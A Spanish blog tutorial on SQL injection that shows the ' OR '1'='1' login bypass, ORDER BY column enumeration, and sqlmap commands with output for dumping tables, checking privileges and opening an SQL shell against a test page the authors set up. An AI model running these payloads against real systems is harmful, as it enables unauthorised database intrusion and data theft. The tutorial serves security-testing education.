Automatizando ataques de inyección de SQL

COMPARTIR 0 TWITTEAR

Pruebas de seguridad en las bases de datos

SQL Injection es una técnica de ataque a paginas o aplicaciones, que intenta inyectar código SQL dentro de la aplicación destino, para romper o acceder a información.

Por ejemplo cuando una web tiene un área de ingreso de usuario o login usualmente el desarrollador para validarlo, hace lo siguiente:

SELECT * FROM Users WHERE Username='usuario' AND Password='contraseña'

Si las variables usuario y contraseña se toman directamente de el formulario sin ningún tipo de escape de caracteres y se ingresan en la consulta, podríamos hacer que el usuario y contraseña tengan como valor ‘1’ OR ‘1’ = ‘1’.

La instrucción de SQL quedaría así:

SELECT * FROM Users WHERE Username='1' OR '1' = '1'  AND Password='1' OR '1′'= '1'

Esto significa que podríamos en ciertos casos identificar el número de columnas que contiene la tabla que muestra la información de la pagina que se esta auditando:

www.sitio.com/noticias.php?id=1 order by 1-- [Sin error]
www.sitio.com/noticias.php?id=1 order by 2-- [Sin error]
www.sitio.com/noticias.php?id=1 order by 3-- [Error]

El error se muestra al colocar el numero 3, esto quiere decir que la tabla solamente tiene 2 columnas.

Y así sucesivamente lo podríamos hacer manualmente, para efectos didácticos es recomendado hacerlo así. Pero en ambientes reales de auditoria, el tiempo es importante y si hacemos uso correcto de las herramientas tendremos los mismos resultados como si lo hiciéramos a mano y a veces mejores.

SQLmap, automatizando la inyección de SQL

SQLmap tiene soporte para distintos motores de base de datos: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.

Tiene la capacidad de realizar de manera automática 6 técnicas de ataques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.

Requisitos

Python 2.7.5 o mayores.

Instalando SQLmap

Utilizamos Git para obtener el programa:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 

Esto nos creara la carpeta sqlmap-dev en donde encontraremos una serie de archivos, pero el que nos interesa para ejecutar la herramienta, es sqlmap.py

Para hacer pruebas reales, creamos una página -donde podrán probar- lo que continuación les mostraremos, en esta dirección.

Conocer el motor, el nombre de la base de datos y más.

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --current-db

Entre todos los datos que se nos muestra al final veremos esto:

back-end DBMS: MySQL 5.0
[22:28:48] [INFO] fetching current database
current database:    'testrootear'

Así que ya conocemos el nombre de la base de datos, en este caso testrootear.

Listando las tablas de la base de datos

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --tables -D testrootear

Resultado:

[22:17:39] [INFO] fetching tables for database: 'testrootear'
Database: testrootear
[1 table]
+----------+
| noticias |
+----------+

Ahora ya conocemos que el nombre de la tabla es noticias.

Listando las columnas de la tabla

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --columns -T noticias -D testrootear

Resultado:

Database: testrootear
Table: noticias
[2 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| descripcion | varchar(200) |
| titulo      | varchar(100) |
+-------------+--------------+

Mostrar el contenido de la tabla

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dump -T noticias -D testrootear

Resultado:

Database: testrootear
Table: noticias
[2 entries]
+-----------------------------------------------+--------------------------------+
| titulo                                         | descripcion               |
+-----------------------------------------------+--------------------------------+
| Android y sus especificaciones   | Lo mejor de Android   |
| Windows y sus especificaciones | Lo mejor de Widow$  |
+------------------------------------------------+-------------------------------+

Mostrar si el usuario de la base de datos que usamos en DBA

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --is-dba

Resultado:

[22:23:38] [INFO] testing if current user is DBA
[22:23:38] [INFO] fetching current user
[22:23:38] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA:    False

Mostrar otras bases de datos que hay en el servidor.

En este punto va a depender de los privilegios que tenga el usuario, en el script que tenemos para que hacer pruebas el usuario solamente tiene privilegios sobre la base de datos testrootear y por defecto information_schema.

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dbs

Mostrar los privilegios del usuario actual

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --privileges

Resultado:

database management system users privileges:
[*] 'rootearok'@'localhost' [1]:
privilege: USAGE

Obteniendo SQL Shell

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --sql-shell

Como respuesta nos da una shell SQL en donde se podrá realizar consultas, escribimos:

SELECT @@datadir

Resultado:

sql-shell> SELECT @@datadir
[22:33:20] [INFO] fetching SQL SELECT statement query output: 'SELECT @@datadir'
SELECT @@datadir:    '/var/lib/mysql/'

Ciertamente SQLmap nos ofrece muchas opciones mas avanzadas, las cuales podremos ahondar mas en la documentación que se encuentra aquí. Depende de nosotros el uso que le demos a este tipo de herramientas, así que si vamos a hacer pruebas en otros ambientes no controlados o ajenos, no nos hacemos responsables.

Archivado en Base de datos, hack, Inyección, iSQL, Seguridad, SQL, SQLmap
COMPARTIR 0 TWITTEAR

Comentarios (17)

Usa tu cuenta de Facebook para dejar tu opinión.

Publica tu opinión usando tu cuenta de Facebook.

Otras webs de Difoosion